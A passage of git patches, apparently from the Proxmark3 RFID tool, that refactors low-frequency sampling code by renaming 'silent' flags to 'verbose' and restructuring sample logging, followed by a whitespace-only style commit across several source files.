true); + DoAcquisition_default(-1, false); size = MIN(12000, BigBuf_max_traceLen()); - + //fskdemod and get start index int idx = detectIOProx(dest, &size, &dummyIdx); if (idx < 0) continue; @@ -1772,7 +1772,7 @@ void T55xxResetRead(uint8_t flags) { TurnReadLFOn(T55xx_Timing.m[downlink_mode].read_gap); // Acquisition - DoPartialAcquisition(0, true, BigBuf_max_traceLen(), 0); + DoPartialAcquisition(0, false, BigBuf_max_traceLen(), 0); // Turn the field off FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); @@ -1869,7 +1869,7 @@ void T55xxWriteBlock(uint8_t *data) { // response should be (for t55x7) a 0 bit then (ST if on) // block data written in on repeat until reset. - //DoPartialAcquisition(20, true, 12000); + //DoPartialAcquisition(20, false, 12000); } // turn field off FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); @@ -1930,7 +1930,7 @@ bool brute_mem = (flags & 0x0100) >> 8; // Acquisition // Now do the acquisition - DoPartialAcquisition(0, true, samples, 0); + DoPartialAcquisition(0, false, samples, 0); // Turn the field off if (!brute_mem) { @@ -1990,7 +1990,7 @@ void T55xxReadBlock(uint8_t page, bool pwd_mode, bool brute_mem, uint8_t block, // Acquisition // Now do the acquisition - DoPartialAcquisition(0, true, samples, 0); + DoPartialAcquisition(0, false, samples, 0); // Turn the field off if (!brute_mem) { @@ -2447,7 +2447,7 @@ void EM4xReadWord(uint8_t addr, uint32_t pwd, uint8_t usepwd) { WaitUS(400); - DoPartialAcquisition(20, true, 6000, 1000); + DoPartialAcquisition(20, false, 6000, 1000); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); reply_ng(CMD_LF_EM4X_READWORD, PM3_SUCCESS, NULL, 0); @@ -2480,7 +2480,7 @@ void EM4xWriteWord(uint8_t addr, uint32_t data, uint32_t pwd, uint8_t usepwd) { //Wait 20ms for write to complete? WaitMS(7); - DoPartialAcquisition(20, true, 6000, 1000); + DoPartialAcquisition(20, false, 6000, 1000); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); reply_ng(CMD_LF_EM4X_WRITEWORD, PM3_SUCCESS, NULL, 0); @@ -2550,7 +2550,7 @@ void Cotag(uint32_t arg0) { doCotagAcquisitionManchester(); break; case 2: - DoAcquisition_config(true, 0); + DoAcquisition_config(true, true); break; } diff --git a/armsrc/lfsampling.c b/armsrc/lfsampling.c index bdce67ef9..d836accfa 100644 --- a/armsrc/lfsampling.c +++ b/armsrc/lfsampling.c @@ -15,6 +15,7 @@ #include "dbprint.h" #include "util.h" #include "lfdemod.h" +#include "string.h" // memset /* Default LF config is set to: @@ -32,7 +33,7 @@ void printConfig() { uint32_t d = config.divisor; DbpString(_BLUE_("LF Sampling config")); Dbprintf(" [q] divisor.............%d ( "_GREEN_("%d.%02d kHz")")", d, 12000 / (d + 1), ((1200000 + (d + 1) / 2) / (d + 1)) - ((12000 / (d + 1)) * 100)); - Dbprintf(" [b] bps.................%d", config.bits_per_sample); + Dbprintf(" [b] bits per sample.....%d", config.bits_per_sample); Dbprintf(" [d] decimation..........%d", config.decimation); Dbprintf(" [a] averaging...........%s", (config.averaging) ? "Yes" : "No"); Dbprintf(" [t] trigger threshold...%d", config.trigger_threshold); @@ -69,12 +70,6 @@ sample_config *getSamplingConfig() { return &config; } -struct BitstreamOut { - uint8_t *buffer; - uint32_t numbits; - uint32_t position; -}; - /** * @brief Pushes bit onto the stream * @param stream @@ -88,6 +83,87 @@ void pushBit(BitstreamOut *stream, uint8_t bit) { stream->numbits++; } +// Holds bit packed struct of samples. +BitstreamOut data = {0, 0, 0}; + +// internal struct to keep track of samples gathered +sampling_t samples = {0, 0, 0, 0}; + +void initSampleBuffer(uint32_t *sample_size) { + + if (sample_size == NULL || *sample_size == 0) { + *sample_size = BigBuf_max_traceLen(); + } else { + *sample_size = MIN(*sample_size, BigBuf_max_traceLen()); + } + + // use a bitstream to handle the output + data.buffer = BigBuf_get_addr(); + + memset(data.buffer, 0, *sample_size); + + // + samples.dec_counter = 0; + samples.sum = 0; + samples.counter = 0; + samples.total_saved = 0; +} + +uint32_t getSampleCounter() { + return samples.total_saved; +} + +void logSample(uint8_t sample, uint8_t decimation, uint32_t bits_per_sample, bool avg) { + + if (!data.buffer) return; + + if (bits_per_sample == 0) bits_per_sample = 1; + if (bits_per_sample > 8) bits_per_sample = 8; + if (decimation == 0) decimation = 1; + + // keep track of total gather samples regardless how many was discarded. + samples.counter++; + + if (avg) { + samples.sum += sample; + } + + // check decimation + if (decimation > 1) { + samples.dec_counter++; + + if (samples.dec_counter < decimation) return; + + samples.dec_counter = 0; + } + + // averaging + if (avg && decimation > 1) { + sample = samples.sum / decimation; + samples.sum = 0; + } + + // store the sample + samples.total_saved++; + + if (bits_per_sample == 8) { + + data.buffer[samples.total_saved - 1] = sample; + + // add number of bits. + data.numbits = samples.total_saved << 3; + + } else { + pushBit(&data, sample & 0x80); + if (bits_per_sample > 1) pushBit(&data, sample & 0x40); + if (bits_per_sample > 2) pushBit(&data, sample & 0x20); + if (bits_per_sample > 3) pushBit(&data, sample & 0x10); + if (bits_per_sample > 4) pushBit(&data, sample & 0x08); + if (bits_per_sample > 5) pushBit(&data, sample & 0x04); + if (bits_per_sample > 6) pushBit(&data, sample & 0x02); + } +} + /** * Setup the FPGA to listen for samples. This method downloads the FPGA bitstream * if not already loaded, sets divisor and starts up the antenna. @@ -128,45 +204,39 @@ void LFSetupFPGAForADC(int divisor, bool lf_field) { * value that will be used is the average value of the three samples. * @param trigger_threshold - a threshold. The sampling won't commence until this threshold has been reached. Set * to -1 to ignore threshold. - * @param silent - is true, now outputs are made. If false, dbprints the status + * @param verbose - is true, dbprints the status, else no outputs * @return the number of bits occupied by the samples. */ -uint32_t DoAcquisition(uint8_t decimation, uint32_t bits_per_sample, bool averaging, int trigger_threshold, bool silent, int bufsize, uint32_t cancel_after, uint32_t samples_to_skip) { +uint32_t DoAcquisition(uint8_t decimation, uint32_t bits_per_sample, bool avg, int trigger_threshold, + bool verbose, uint32_t sample_size, uint32_t cancel_after, uint32_t samples_to_skip) { - uint8_t *dest = BigBuf_get_addr(); - bufsize = (bufsize > 0 && bufsize < BigBuf_max_traceLen()) ? bufsize : BigBuf_max_traceLen(); + initSampleBuffer(&sample_size); - if (bits_per_sample < 1) bits_per_sample = 1; - if (bits_per_sample > 8) bits_per_sample = 8; - - if (decimation < 1) decimation = 1; - - // use a bit stream to handle the output - BitstreamOut data = { dest, 0, 0}; - int sample_counter = 0; - uint8_t sample; - - // if we want to do averaging - uint32_t sample_sum = 0 ; - uint32_t sample_total_numbers = 0; - uint32_t sample_total_saved = 0; uint32_t cancel_counter = 0; - - uint16_t checked = 0; + int16_t checked = 0; while (true) { + + // only every 1000th times, in order to save time when collecting samples. if (checked == 1000) { - if (BUTTON_PRESS() || data_available()) + if (BUTTON_PRESS() || data_available()) { + checked = -1; break; - else + } else { checked = 0; + } } ++checked; WDT_HIT(); + if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_TXRDY) { +// AT91C_BASE_SSC->SSC_THR = 0x43; + LED_D_ON(); + } + if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) { - sample = (uint8_t)AT91C_BASE_SSC->SSC_RHR; + volatile uint8_t sample = (uint8_t)AT91C_BASE_SSC->SSC_RHR; // Testpoint 8 (TP8) can be used to trigger oscilliscope LED_D_OFF(); @@ -188,57 +258,23 @@ uint32_t DoAcquisition(uint8_t decimation, uint32_t bits_per_sample, bool averag continue; } - sample_total_numbers++; + logSample(sample, decimation, bits_per_sample, avg); - if (averaging) - sample_sum += sample; - - // check decimation - if (decimation > 1) { - sample_counter++; - if (sample_counter < decimation) continue; - sample_counter = 0; - } - - // averaging - if (averaging && decimation > 1) { - sample = sample_sum / decimation; - sample_sum = 0; - } - - // store the sample - sample_total_saved ++; - - if (bits_per_sample == 8) { - dest[sample_total_saved - 1] = sample; - - // Get the return value correct - data.numbits = sample_total_saved << 3; - if (sample_total_saved >= bufsize) break; - - } else { - pushBit(&data, sample & 0x80); - if (bits_per_sample > 1) pushBit(&data, sample & 0x40); - if (bits_per_sample > 2) pushBit(&data, sample & 0x20); - if (bits_per_sample > 3) pushBit(&data, sample & 0x10); - if (bits_per_sample > 4) pushBit(&data, sample & 0x08); - if (bits_per_sample > 5) pushBit(&data, sample & 0x04); - if (bits_per_sample > 6) pushBit(&data, sample & 0x02); - - if ((data.numbits >> 3) + 1 >= bufsize) break; - } + if (samples.total_saved >= sample_size) break; } } - if (!silent) { - Dbprintf("Done, saved " _YELLOW_("%d")"out of " _YELLOW_("%d")"seen samples at " _YELLOW_("%d")"bits/sample", sample_total_saved, sample_total_numbers, bits_per_sample); - Dbprintf("buffer samples: %02x %02x %02x %02x %02x %02x %02x %02x ...", - dest[0], dest[1], dest[2], dest[3], dest[4], dest[5], dest[6], dest[7]); + if (checked == -1 && verbose) { + Dbprintf("lf sampling aborted"); + } + + if (verbose) { + Dbprintf("Done, saved " _YELLOW_("%d")"out of " _YELLOW_("%d")"seen samples at " _YELLOW_("%d")"bits/sample", samples.total_saved, samples.counter, bits_per_sample); } // Ensure that DC offset removal and noise check is performed for any device-side processing - removeSignalOffset(dest, bufsize); - computeSignalProperties(dest, bufsize); + removeSignalOffset(data.buffer, samples.total_saved); + computeSignalProperties(data.buffer, samples.total_saved); return data.numbits; } @@ -247,32 +283,33 @@ uint32_t DoAcquisition(uint8_t decimation, uint32_t bits_per_sample, bool averag * This method is typically used by tag-specific readers who just wants to read the samples * the normal way * @param trigger_threshold - * @param silent + * @param verbose * @return number of bits sampled */ -uint32_t DoAcquisition_default(int trigger_threshold, bool silent) { - return DoAcquisition(1, 8, 0, trigger_threshold, silent, 0, 0, 0); +uint32_t DoAcquisition_default(int trigger_threshold, bool verbose) { + return DoAcquisition(1, 8, 0, trigger_threshold, verbose, 0, 0, 0); } -uint32_t DoAcquisition_config(bool silent, int sample_size) { +uint32_t DoAcquisition_config(bool verbose, uint32_t sample_size) { return DoAcquisition(config.decimation , config.bits_per_sample , config.averaging , config.trigger_threshold - , silent + , verbose , sample_size , 0 , config.samples_to_skip); } -uint32_t DoPartialAcquisition(int trigger_threshold, bool silent, int sample_size, uint32_t cancel_after) { - return DoAcquisition(1, 8, 0, trigger_threshold, silent, sample_size, cancel_after, 0); +uint32_t DoPartialAcquisition(int trigger_threshold, bool verbose, uint32_t sample_size, uint32_t cancel_after) { + return DoAcquisition(1, 8, 0, trigger_threshold, verbose, sample_size, cancel_after, 0); } -uint32_t ReadLF(bool activeField, bool silent, int sample_size) { - if (!silent) +uint32_t ReadLF(bool activeField, bool verbose, uint32_t sample_size) { + if (verbose) printConfig(); + LFSetupFPGAForADC(config.divisor, activeField); - uint32_t ret = DoAcquisition_config(silent, sample_size); + uint32_t ret = DoAcquisition_config(verbose, sample_size); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); return ret; } @@ -281,9 +318,9 @@ uint32_t ReadLF(bool activeField, bool silent, int sample_size) { * Initializes the FPGA for reader-mode (field on), and acquires the samples. * @return number of bits sampled **/ -uint32_t SampleLF(bool silent, int sample_size) { +uint32_t SampleLF(bool verbose, uint32_t sample_size) { BigBuf_Clear_ext(false); - return ReadLF(true, silent, sample_size); + return ReadLF(true, verbose, sample_size); } /** * Initializes the FPGA for sniffer-mode (field off), and acquires the samples. @@ -310,7 +347,7 @@ void doT55x7Acquisition(size_t sample_size) { if (bufsize > sample_size) bufsize = sample_size; - uint8_t curSample, lastSample = 0; + uint8_t lastSample = 0; uint16_t i = 0, skipCnt = 0; bool startFound = false; bool highFound = false; @@ -330,24 +367,24 @@ void doT55x7Acquisition(size_t sample_size) { WDT_HIT(); + if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_TXRDY) { + LED_D_ON(); + } if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) { - curSample = (uint8_t)AT91C_BASE_SSC->SSC_RHR; + volatile uint8_t sample = (uint8_t)AT91C_BASE_SSC->SSC_RHR; LED_D_OFF(); // skip until the first high sample above threshold - if (!startFound && curSample > T55xx_READ_UPPER_THRESHOLD) { - //if (curSample > lastSample) - // lastSample = curSample; + if (!startFound && sample > T55xx_READ_UPPER_THRESHOLD) { highFound = true; } else if (!highFound) { skipCnt++; continue; } // skip until the first low sample below threshold - if (!startFound && curSample < T55xx_READ_LOWER_THRESHOLD) { - //if (curSample > lastSample) - lastSample = curSample; + if (!startFound && sample < T55xx_READ_LOWER_THRESHOLD) { + lastSample = sample; lowFound = true; } else if (!lowFound) { skipCnt++; @@ -355,14 +392,14 @@ void doT55x7Acquisition(size_t sample_size) { } // skip until first high samples begin to change - if (startFound || curSample > T55xx_READ_LOWER_THRESHOLD + T55xx_READ_TOL) { + if (startFound || sample > T55xx_READ_LOWER_THRESHOLD + T55xx_READ_TOL) { // if just found start - recover last sample if (!startFound) { dest[i++] = lastSample; startFound = true; } // collect samples - dest[i++] = curSample; + dest[i++] = sample; } } } @@ -388,7 +425,7 @@ void doCotagAcquisition(size_t sample_size) { bufsize = sample_size; dest[0] = 0; - uint8_t sample, firsthigh = 0, firstlow = 0; + uint8_t firsthigh = 0, firstlow = 0; uint16_t i = 0; uint16_t noise_counter = 0; @@ -406,8 +443,12 @@ void doCotagAcquisition(size_t sample_size) { WDT_HIT(); + if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_TXRDY) { + LED_D_ON(); + } + if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) { - sample = (uint8_t)AT91C_BASE_SSC->SSC_RHR; + volatile uint8_t sample = (uint8_t)AT91C_BASE_SSC->SSC_RHR; // find first peak if (!firsthigh) { @@ -441,7 +482,6 @@ void doCotagAcquisition(size_t sample_size) { // Ensure that DC offset removal and noise check is performed for any device-side processing removeSignalOffset(dest, bufsize); computeSignalProperties(dest, bufsize); - } uint32_t doCotagAcquisitionManchester() { @@ -453,7 +493,7 @@ uint32_t doCotagAcquisitionManchester() { bufsize = COTAG_BITS; dest[0] = 0; - uint8_t sample, firsthigh = 0, firstlow = 0; + uint8_t firsthigh = 0, firstlow = 0; uint16_t sample_counter = 0, period = 0; uint8_t curr = 0, prev = 0; uint16_t noise_counter = 0; @@ -471,8 +511,12 @@ uint32_t doCotagAcquisitionManchester() { WDT_HIT(); + if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_TXRDY) { + LED_D_ON(); + } + if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) { - sample = (uint8_t)AT91C_BASE_SSC->SSC_RHR; + volatile uint8_t sample = (uint8_t)AT91C_BASE_SSC->SSC_RHR; // find first peak if (!firsthigh) { diff --git a/armsrc/lfsampling.h b/armsrc/lfsampling.h index 21968cdd2..8ccaa5579 100644 --- a/armsrc/lfsampling.h +++ b/armsrc/lfsampling.h @@ -4,7 +4,18 @@ #include "common.h" #include "pm3_cmd.h" -typedef struct BitstreamOut BitstreamOut; +typedef struct { + uint8_t *buffer; + uint32_t numbits; + uint32_t position; +} BitstreamOut; + +typedef struct { + int dec_counter; + uint32_t sum; + uint32_t counter; + uint32_t total_saved; +} sampling_t; /** * acquisition of Cotag LF signal. Similar to other LF, since the Cotag has such long datarate RF/384 @@ -23,7 +34,7 @@ void doT55x7Acquisition(size_t sample_size); * Initializes the FPGA for reader-mode (field on), and acquires the samples. * @return number of bits sampled **/ -uint32_t SampleLF(bool silent, int sample_size); +uint32_t SampleLF(bool verbose, uint32_t sample_size); /** * Initializes the FPGA for sniff-mode (field off), and acquires the samples. @@ -31,32 +42,35 @@ uint32_t SampleLF(bool silent, int sample_size); **/ uint32_t SniffLF(); +uint32_t DoAcquisition(uint8_t decimation, uint32_t bits_per_sample, bool avg, int trigger_threshold, + bool verbose, uint32_t sample_size, uint32_t cancel_after, uint32_t samples_to_skip); + // adds sample size to default options -uint32_t DoPartialAcquisition(int trigger_threshold, bool silent, int sample_size, uint32_t cancel_after); +uint32_t DoPartialAcquisition(int trigger_threshold, bool verbose, uint32_t sample_size, uint32_t cancel_after); /** * @brief Does sample acquisition, ignoring the config values set in the sample_config. * This method is typically used by tag-specific readers who just wants to read the samples * the normal way * @param trigger_threshold - * @param silent + * @param verbose * @return number of bits sampled */ -uint32_t DoAcquisition_default(int trigger_threshold, bool silent); +uint32_t DoAcquisition_default(int trigger_threshold, bool verbose); /** * @brief Does sample acquisition, using the config values set in the sample_config. * @param trigger_threshold - * @param silent + * @param verbose * @return number of bits sampled */ -uint32_t DoAcquisition_config(bool silent, int sample_size); +uint32_t DoAcquisition_config(bool verbose, uint32_t sample_size); /** * Refactoring of lf sampling buffer */ -void initSamplingBuffer(void); -void logSample(uint8_t sample, uint8_t decimation, uint32_t bits_per_sample, bool averaging, int trigger_threshold); +void initSamplingBuffer(uint32_t *sample_size); +void logSample(uint8_t sample, uint8_t decimation, uint32_t bits_per_sample, bool avg); uint32_t getSampleCounter(); /** diff --git a/client/cmddata.c b/client/cmddata.c index 0469bf837..ddd87fdb8 100644 --- a/client/cmddata.c +++ b/client/cmddata.c @@ -1589,7 +1589,7 @@ static uint8_t getByte(uint8_t bits_per_sample, BitstreamOut *b) { return val; } -int getSamples(uint32_t n, bool silent) { +int getSamples(uint32_t n, bool verbose) { //If we get all but the last byte in bigbuf, // we don't have to worry about remaining trash // in the last byte in case the bits-per-sample @@ -1599,7 +1599,7 @@ int getSamples(uint32_t n, bool silent) { if (n == 0 || n > sizeof(got)) n = sizeof(got); - if (!silent) PrintAndLogEx(NORMAL, "Reading %d bytes from device memory\n", n); + if (verbose) PrintAndLogEx(NORMAL, "Reading %d bytes from device memory\n", n); PacketResponseNG response; if (!GetFromDevice(BIG_BUF, got, n, 0, NULL, 0, &response, 10000, true)) { @@ -1607,20 +1607,20 @@ int getSamples(uint32_t n, bool silent) { return PM3_ETIMEOUT; } - if (!silent) PrintAndLogEx(NORMAL, "Data fetched"); + if (verbose) PrintAndLogEx(NORMAL, "Data fetched"); uint8_t bits_per_sample = 8; //Old devices without this feature would send 0 at arg[0] if (response.oldarg[0] > 0) { sample_config *sc = (sample_config *) response.data.asBytes; - if (!silent) PrintAndLogEx(NORMAL, "Samples @ %d bits/smpl, decimation 1:%d ", sc->bits_per_sample, sc->decimation); + if (verbose) PrintAndLogEx(NORMAL, "Samples @ %d bits/smpl, decimation 1:%d ", sc->bits_per_sample, sc->decimation); bits_per_sample = sc->bits_per_sample; } if (bits_per_sample < 8) { - if (!silent) PrintAndLogEx(NORMAL, "Unpacking..."); + if (verbose) PrintAndLogEx(NORMAL, "Unpacking..."); BitstreamOut bout = { got, bits_per_sample * n, 0}; int j = 0; @@ -1630,7 +1630,7 @@ int getSamples(uint32_t n, bool silent) { } GraphTraceLen = j; - if (!silent) PrintAndLogEx(NORMAL, "Unpacked %d samples", j); + if (verbose) PrintAndLogEx(NORMAL, "Unpacked %d samples", j); } else { for (int j = 0; j < n; j++) { diff --git a/client/cmddata.h b/client/cmddata.h index a4bba407c..a19bead27 100644 --- a/client/cmddata.h +++ b/client/cmddata.h @@ -68,7 +68,7 @@ void setDemodBuff(uint8_t *buff, size_t size, size_t start_idx); bool getDemodBuff(uint8_t *buff, size_t *size); void save_restoreDB(uint8_t saveOpt);// option '1' to save DemodBuffer any other to restore int AutoCorrelate(const int *in, int *out, size_t len, size_t window, bool SaveGrph, bool verbose); -int getSamples(uint32_t n, bool silent); +int getSamples(uint32_t n, bool verbose); void setClockGrid(uint32_t clk, int offset); int directionalThreshold(const int *in, int *out, size_t len, int8_t up, int8_t down); int AskEdgeDetect(const int *in, int *out, int len, int threshold); diff --git a/client/cmdhf15.c b/client/cmdhf15.c index 2e02aff68..9a5665a31 100644 --- a/client/cmdhf15.c +++ b/client/cmdhf15.c @@ -633,7 +633,7 @@ static int CmdHF15Samples(const char *Cmd) { clearCommandBuffer(); SendCommandNG(CMD_HF_ISO15693_ACQ_RAW_ADC, NULL, 0); - getSamples(0, false); + getSamples(0, true); return PM3_SUCCESS; } @@ -684,9 +684,9 @@ static int NxpSysInfo(uint8_t *uid) { return PM3_EWRONGANSVER; } - bool support_signature = (recv[5] & 0x01); + bool support_signature = (recv[5] & 0x01); bool support_easmode = (recv[4] & 0x03); - + PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, " NXP SYSINFO : %s", sprint_hex(recv, 8)); PrintAndLogEx(NORMAL, " Password protection configuration:"); diff --git a/client/cmdlf.c b/client/cmdlf.c index 7c454a7a0..64ff0ed9a 100644 --- a/client/cmdlf.c +++ b/client/cmdlf.c @@ -77,13 +77,13 @@ static int usage_lf_read(void) { PrintAndLogEx(NORMAL, "Usage: lf read [h] [s] [d numofsamples]"); PrintAndLogEx(NORMAL, "Options:"); PrintAndLogEx(NORMAL, " h This help"); - PrintAndLogEx(NORMAL, " s silent run, no printout"); PrintAndLogEx(NORMAL, " d #samples # samples to collect (optional)"); + PrintAndLogEx(NORMAL, " s silent"); PrintAndLogEx(NORMAL, "Use 'lf config' to set parameters."); PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "Examples:"); - PrintAndLogEx(NORMAL, " lf read s d 12000 - collects 12000samples silent"); - PrintAndLogEx(NORMAL, " lf read s"); + PrintAndLogEx(NORMAL, " lf read s d 12000 - collects 12000 samples silent"); + PrintAndLogEx(NORMAL, " lf read"); return PM3_SUCCESS; } static int usage_lf_sim(void) { @@ -367,7 +367,7 @@ int CmdLFCommandRead(const char *Cmd) { if (resp.status == PM3_SUCCESS) { if (i) { PrintAndLogEx(SUCCESS, "Downloading response signal data"); - getSamples(0, true); + getSamples(0, false); return PM3_SUCCESS; } else { PrintAndLogEx(WARNING, "timeout while waiting for reply."); @@ -552,16 +552,16 @@ int CmdLFConfig(const char *Cmd) { return lf_config(&config); } -int lf_read(bool silent, uint32_t samples) { +int lf_read(bool verbose, uint32_t samples) { if (!session.pm3_present) return PM3_ENOTTY; struct p { - uint8_t silent; + uint8_t verbose; uint32_t samples; } PACKED; struct p payload; - payload.silent = silent; + payload.verbose = verbose; payload.samples = samples; clearCommandBuffer(); @@ -579,7 +579,7 @@ int lf_read(bool silent, uint32_t samples) { // resp.oldarg[0] is bits read not bytes read. uint32_t bits = (resp.data.asDwords[0] / 8); - getSamples(bits, silent); + getSamples(bits, verbose); return PM3_SUCCESS; } @@ -589,21 +589,21 @@ int CmdLFRead(const char *Cmd) { if (!session.pm3_present) return PM3_ENOTTY; bool errors = false; - bool silent = false; + bool verbose = true; uint32_t samples = 0; uint8_t cmdp = 0; while (param_getchar(Cmd, cmdp) != 0x00 && !errors) { switch (tolower(param_getchar(Cmd, cmdp))) { case 'h': return usage_lf_read(); - case 's': - silent = true; - cmdp++; - break; case 'd': samples = param_get32ex(Cmd, cmdp + 1, 0, 10); cmdp += 2; break; + case 's': + verbose = false; + cmdp++; + break; default: PrintAndLogEx(WARNING, "Unknown parameter '%c'", param_getchar(Cmd, cmdp)); errors = true; @@ -614,7 +614,7 @@ int CmdLFRead(const char *Cmd) { //Validations if (errors) return usage_lf_read(); - return lf_read(silent, samples); + return lf_read(verbose, samples); } int CmdLFSniff(const char *Cmd) { @@ -627,7 +627,7 @@ int CmdLFSniff(const char *Cmd) { clearCommandBuffer(); SendCommandNG(CMD_LF_SNIFF_RAW_ADC, NULL, 0); WaitForResponse(CMD_ACK, NULL); - getSamples(0, false); + getSamples(0, true); return PM3_SUCCESS; } @@ -1183,7 +1183,7 @@ int CmdLFfind(const char *Cmd) { bool isOnline = (session.pm3_present && (cmdp != '1')); if (isOnline) - lf_read(true, 30000); + lf_read(false, 30000); if (GraphTraceLen < minLength) { PrintAndLogEx(FAILED, "Data in Graphbuffer was too small."); diff --git a/client/cmdlf.h b/client/cmdlf.h index 3f0670d1f..7393405ba 100644 --- a/client/cmdlf.h +++ b/client/cmdlf.h @@ -32,7 +32,7 @@ int CmdLFSniff(const char *Cmd); int CmdVchDemod(const char *Cmd); int CmdLFfind(const char *Cmd); -int lf_read(bool silent, uint32_t samples); +int lf_read(bool verbose, uint32_t samples); int lf_config(sample_config *config); #endif diff --git a/client/cmdlfcotag.c b/client/cmdlfcotag.c index 9c55bf453..abe78a4ea 100644 --- a/client/cmdlfcotag.c +++ b/client/cmdlfcotag.c @@ -96,7 +96,7 @@ static int CmdCOTAGRead(const char *Cmd) { case 2: { CmdPlot(""); CmdGrid("384"); - getSamples(0, true); + getSamples(0, false); break; } case 1: { diff --git a/client/cmdlft55xx.c b/client/cmdlft55xx.c index d992b6d58..f25626d94 100644 --- a/client/cmdlft55xx.c +++ b/client/cmdlft55xx.c @@ -2528,7 +2528,7 @@ bool AcquireData(uint8_t page, uint8_t block, bool pwdmode, uint32_t password, u return false; } - getSamples(12000, true); + getSamples(12000, false); return !getSignalProperties()->isnoise; } @@ -3485,7 +3485,7 @@ static int CmdT55xxDetectPage1(const char *Cmd) { found = AcquireData(T55x7_PAGE1, T55x7_TRACE_BLOCK1, usepwd, password, dl_mode); if (found == false) continue; - + if (tryDetectP1(false)) { found = true; found_mode = dl_mode; From 47eab16881d7e4fd0b98880d067f5ad9ebfefb5c Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 7 Jan 2020 22:14:01 +0100 Subject: [PATCH 265/418] style --- client/emv/emvcore.c | 2 +- client/luascripts/calc_di.lua | 4 +- client/reveng/preset.c | 458 +++++++++++++++++----------------- common/mbedtls/camellia.c | 16 +- common/zlib/inflate.c | 4 +- 5 files changed, 242 insertions(+), 242 deletions(-) diff --git a/client/emv/emvcore.c b/client/emv/emvcore.c index 74b78f797..5bf330fe4 100644 --- a/client/emv/emvcore.c +++ b/client/emv/emvcore.c @@ -490,7 +490,7 @@ int EMVSearchPSE(EMVCommandChannel channel, bool ActivateField, bool LeaveFieldO for (uint8_t ui = 0x01; ui <= 0x10; ui++) { if (sfidatalen[ui]) { - + struct tlvdb *tsfi_a = tlvdb_parse_multi(sfidata[ui], sfidatalen[ui]); if (tsfi_a) { struct tlvdb *tsfitmp = tlvdb_find_path(tsfi_a, (tlv_tag_t[]) {0x70, 0x61, 0x00}); diff --git a/client/luascripts/calc_di.lua b/client/luascripts/calc_di.lua index 416a3dd0f..d2e712563 100644 --- a/client/luascripts/calc_di.lua +++ b/client/luascripts/calc_di.lua @@ -75,9 +75,9 @@ local function dumptofile(uid, keys) dbg('dumping keys to file') if utils.confirm('Do you wish to save the keys to dumpfile?') then - + local filename = ('hf-mf-%s-key.bin'):format(uid); - + local destination = utils.input('Select a filename to store to', filename) local file = io.open(destination, 'wb') if file == nil then diff --git a/client/reveng/preset.c b/client/reveng/preset.c index 1897ebcee..6f41ac9f5 100644 --- a/client/reveng/preset.c +++ b/client/reveng/preset.c @@ -137,19 +137,19 @@ static const bmp_t b40c[] = { # else /* BMP_BIT */ static const bmp_t b40[] = { BMP_C(0x00048200) << (BMP_BIT - 32) | BMP_C(0x04) >> (39 - BMP_BIT), - BMP_C(0x09) << (BMP_BIT * 2 - 40), + BMP_C(0x09) << (BMP_BIT * 2 - 40), }; static const bmp_t b40a[] = { BMP_C(0xffffffff) << (BMP_BIT - 32) | BMP_C(0x7f) >> (39 - BMP_BIT), - BMP_C(0xff) << (BMP_BIT * 2 - 40), + BMP_C(0xff) << (BMP_BIT * 2 - 40), }; static const bmp_t b40b[] = { BMP_C(0xd4164fc6) << (BMP_BIT - 32) | BMP_C(0x23) >> (39 - BMP_BIT), - BMP_C(0x46) << (BMP_BIT * 2 - 40), + BMP_C(0x46) << (BMP_BIT * 2 - 40), }; static const bmp_t b40c[] = { BMP_C(0xc4ff8071) << (BMP_BIT - 32) | BMP_C(0x7f) >> (39 - BMP_BIT), - BMP_C(0xff) << (BMP_BIT * 2 - 40), + BMP_C(0xff) << (BMP_BIT * 2 - 40), }; # endif /* BMP_BIT */ @@ -187,43 +187,43 @@ static const bmp_t b64i[] = { # else /* BMP_BIT */ static const bmp_t b64[] = { BMP_C(0x00000000) << (BMP_BIT - 32) | BMP_C(0x0000000d) >> (63 - BMP_BIT), - BMP_C(0x0000001b) << (BMP_BIT * 2 - 64), + BMP_C(0x0000001b) << (BMP_BIT * 2 - 64), }; static const bmp_t b64a[] = { BMP_C(0xffffffff) << (BMP_BIT - 32) | BMP_C(0x7fffffff) >> (63 - BMP_BIT), - BMP_C(0xffffffff) << (BMP_BIT * 2 - 64), + BMP_C(0xffffffff) << (BMP_BIT * 2 - 64), }; static const bmp_t b64b[] = { BMP_C(0xb90956c7) << (BMP_BIT - 32) | BMP_C(0x3ad20800) >> (63 - BMP_BIT), - BMP_C(0x75a41001) << (BMP_BIT * 2 - 64), + BMP_C(0x75a41001) << (BMP_BIT * 2 - 64), }; static const bmp_t b64c[] = { BMP_C(0x53000000) << (BMP_BIT - 32) | BMP_C(0x00000000) >> (63 - BMP_BIT), - BMP_C(0x00000000) << (BMP_BIT * 2 - 64), + BMP_C(0x00000000) << (BMP_BIT * 2 - 64), }; static const bmp_t b64d[] = { BMP_C(0x42f0e1eb) << (BMP_BIT - 32) | BMP_C(0x54f51b49) >> (63 - BMP_BIT), - BMP_C(0xa9ea3693) << (BMP_BIT * 2 - 64), + BMP_C(0xa9ea3693) << (BMP_BIT * 2 - 64), }; static const bmp_t b64e[] = { BMP_C(0x6c40df5f) << (BMP_BIT - 32) | BMP_C(0x05a4b9a3) >> (63 - BMP_BIT), - BMP_C(0x0b497347) << (BMP_BIT * 2 - 64), + BMP_C(0x0b497347) << (BMP_BIT * 2 - 64), }; static const bmp_t b64f[] = { BMP_C(0x62ec59e3) << (BMP_BIT - 32) | BMP_C(0x78d27805) >> (63 - BMP_BIT), - BMP_C(0xf1a4f00a) << (BMP_BIT * 2 - 64), + BMP_C(0xf1a4f00a) << (BMP_BIT * 2 - 64), }; static const 